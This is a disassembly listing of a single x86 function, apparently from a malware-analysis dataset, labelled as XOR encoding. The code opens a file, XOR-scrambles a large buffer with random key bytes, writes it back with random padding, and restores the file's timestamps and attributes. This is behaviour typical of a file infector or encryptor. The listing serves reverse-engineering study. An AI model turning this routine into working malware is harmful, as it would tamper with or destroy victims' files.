Function at 0x4013ef
Capabilities:
Encode data using xor

Disassembly:
enter 0x48, 0
push ebx
push esi
push edi
push 0x406073
push 0x401864
call fcn.00404774
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 1
or dword [ebp - 0x20], 0xffffffff
mov byte [ebp - 0x41], 1
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00405720
mov edi, eax
test edi, edi
je 0x4014e5
push 3
push dword [ebp - 0x10]
push edi
call fcn.004056a2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x401453
cmp dword [ebp - 0x28], 0
jne 0x401453
jmp 0x4014df
cmp dword [ebp - 0x28], 0
jne 0x40145b
jmp 0x40149e
push dword [ebp - 0x28]
push edi
call fcn.0040577a
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x20]
jle 0x401484
cmp dword [ebp - 0x18], 0x8a8
jg 0x401484
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 1
jne 0x401495
cmp dword [ebp - 0x18], 0x8a8
jge 0x401495
jmp 0x40149e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x18], 0
jne 0x401432
push 3
push dword [ebp - 0x14]
push edi
call fcn.004056a2
push eax
push edi
call fcn.0040573e
mov dword [ebp - 8], eax
mov esi, dword [ebp - 0x20]
dec esi
and dword [ebp - 0x10], 0
jmp 0x4014da
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov dl, byte [eax + ecx]
mov ecx, dword [0x406817]
mov eax, dword [ebp - 0x10]
add eax, 0x564
mov byte [eax + ecx], dl
inc dword [ebp - 0x10]
cmp esi, dword [ebp - 0x10]
jge 0x4014bd
push edi
call fcn.004056ae
mov eax, dword [ebp + 8]
test eax, eax
je 0x4014ef
mov eax, dword [eax - 4]
inc eax
push eax
call fcn.00403a0c
mov esi, eax
push esi
mov eax, dword [ebp + 8]
push eax
call fcn.004037e2
call fcn.00403f0c
mov dword [ebp - 0x10], 1
push 0x14
call fcn.00403efc
mov ebx, eax
add ebx, 0x41
push esi
call fcn.004037b8
sub eax, dword [ebp - 0x10]
mov byte [eax + esi], bl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x40150e
push esi
mov eax, dword [ebp + 8]
push eax
call fcn.0040574a
test eax, eax
jne 0x401547
push esi
mov eax, dword [ebp + 8]
push eax
call fcn.004037e2
push esi
call fcn.004056cc
mov dword [ebp - 0x24], eax
push 0x20
push esi
call fcn.00405786
push 2
push esi
call fcn.004057ec
mov edi, eax
cmp edi, 0xffffffff
jne 0x40156c
jmp 0x40180e
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
call fcn.004056e4
push 0
push edi
call fcn.004056d8
mov dword [0x4067d0], eax
push 0x43d8
push dword [0x40681b]
push edi
call fcn.004057f2
cmp eax, 0xffffffff
jne 0x4015a6
jmp 0x40180e
call fcn.00403f0c
push 0x100
call fcn.00403efc
inc eax
mov ecx, dword [0x40681b]
mov byte [ecx], al
push 0x100
call fcn.00403efc
inc eax
mov ecx, dword [0x40681b]
mov byte [ecx + 1], al
mov dword [ebp - 0x10], 1
push 0x100
call fcn.00403efc
inc eax
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x4067ec], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jle 0x4015d9
mov dword [ebp - 0x10], 1
mov ecx, dword [0x40681b]
mov eax, dword [ebp - 0x10]
add eax, 0xbb8
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x10]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x4067ec]
mov ecx, dword [0x406817]
mov eax, dword [ebp - 0x10]
add eax, 0x261
mov byte [eax + ecx], bl
push 0x100
call fcn.00403efc
mov edx, dword [0x40681b]
mov ecx, dword [ebp - 0x10]
add ecx, 0xbb8
mov byte [ecx + edx], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jle 0x4015fd
mov eax, dword [ebp - 0x48]
and eax, 0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x4067ec]
mov eax, dword [ebp - 0x48]
add ecx, eax
inc ecx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x10]
mov dl, byte [eax + 0x4067ec]
mov ecx, dword [0x406817]
mov eax, dword [ebp - 0x10]
add eax, 0x2ac
mov byte [eax + ecx], dl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jle 0x401667
and dword [ebp - 0x10], 0
mov ecx, dword [0x40681b]
mov eax, dword [ebp - 0x10]
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x10]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x4067ec]
movzx ebx, bl
mov eax, dword [ebp - 0x48]
imul dword [ebp - 0x10]
xor ebx, eax
mov ecx, dword [0x40681b]
mov eax, dword [ebp - 0x10]
mov byte [eax + ecx], bl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x43d7
jle 0x4016a1
push 0
push dword [0x4067d0]
push edi
call fcn.004057e6
cmp eax, 0xffffffff
jne 0x4016fb
jmp 0x40180e
push 0x43d8
mov eax, dword [0x40681b]
push eax
push edi
call fcn.004057c2
cmp eax, 0xffffffff
jne 0x401716
jmp 0x40180e
cmp dword [ebp - 0x20], 0xffffffff
jne 0x40172a
mov eax, dword [0x406817]
mov byte [eax + 0x564], 0
jmp 0x401736
mov eax, dword [0x406817]
mov byte [eax + 0x564], 0x28
push 0
push 0
push edi
call fcn.004057e6
cmp eax, 0xffffffff
jne 0x40174a
jmp 0x40180e
push 0x43d8
mov eax, dword [0x406817]
push eax
push edi
call fcn.004057c2
cmp eax, 0xffffffff
jne 0x401765
jmp 0x40180e
push 0xbb8
call fcn.00403efc
add eax, 0x3e8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
and eax, 0
mov dword [ebp - 0x48], eax
jmp 0x4017a3
push 0xfe
call fcn.00403efc
inc eax
mov edx, dword [0x40681b]
mov ecx, dword [ebp - 0x48]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp ebx, eax
jge 0x401785
push 2
push 0
push edi
call fcn.004057e6
cmp eax, 0xffffffff
jne 0x4017bb
jmp 0x40180e
push dword [ebp - 0x10]
mov eax, dword [0x40681b]
push eax
push edi
call fcn.004057c2
cmp eax, 0xffffffff
jne 0x4017d1
jmp 0x40180e
push 0
push 0x300
push edi
call fcn.004057e6
cmp eax, 0xffffffff
jne 0x4017e5
jmp 0x40180e
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call fcn.004057c2
cmp eax, 0xffffffff
jne 0x4017f8
jmp 0x40180e
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
call fcn.00405792
mov byte [ebp - 0x41], 0
push edi
call fcn.004057da
cmp eax, 0xffffffff
jne 0x40181b
jmp 0x40184c
cmp byte [ebp - 0x41], 0
je 0x401823
jmp 0x40184c
push dword [ebp - 0x24]
push esi
call fcn.00405786
mov eax, dword [ebp + 8]
push eax
push esi
call fcn.0040574a
push esi
call fcn.00403a3c
inc dword [0x4067e0]
push 0x1388
call fcn.00405780
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x40186b
push 0x406073
call fcn.004047c8
ret